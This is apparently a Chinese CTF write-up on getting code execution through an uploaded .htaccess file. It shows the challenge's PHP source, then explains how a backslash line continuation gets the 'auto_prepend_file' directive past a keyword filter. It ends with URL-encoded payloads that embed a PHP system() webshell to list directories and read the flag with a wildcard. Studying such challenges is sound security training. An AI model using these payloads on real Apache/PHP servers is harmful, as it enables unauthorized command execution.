知识点:利用.htaccess代码执行
.htaccess利用方式
.htaccess相关问题
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
访问index.php的时候会把除了index.php的文件都删除。
对我们上传的内容进行了过滤。
对文件名进行了过来了,并不包括文件类型,那么我们就可以传一个.htaccess文件来写入shell。
最后会在文件内容末尾加个\n…
把.htaccess加载到php文件的前面,这边的话以注释的方法来写shell
php_value auto_append_file .htaccess
#
虽然过滤了file,但我们可以用\
来绕过,#应该是.hatccess文件特有的写入形式,没有的话会直接报错500
php_value auto_prepend_fil\
e .htaccess
#\
末尾加个\
是为了转义\n
,如果不加就会变为下面这种,不符合.htaccess的规则
php_value auto_prepend_fil\
e .htaccess
#
Hello, world
在末尾价格反斜杠会把\n前面的\给转义掉,这样就变为了如下这样:
php_value auto_prepend_fil\
e .htaccess
#nHello, world
?filename=.htaccess&content=php_value auto_prepend_fil\
e .htaccess
#\
编码一下,如果不编码的话就不在同一行,传的时候不好传,最后的反斜杠后面不能有空格,有空格就转不了\
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('ls%20/')%3B%3F%3E%5C
获得flag,虽然它过滤了flag,但我们可以用fl??来代替flag,或者用字符串连接,例如'cat%20/fla'.'g'
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fl??')%3B%3F%3E%5C
参考:
https://blog.csdn.net/LYJ20010728/article/details/116541325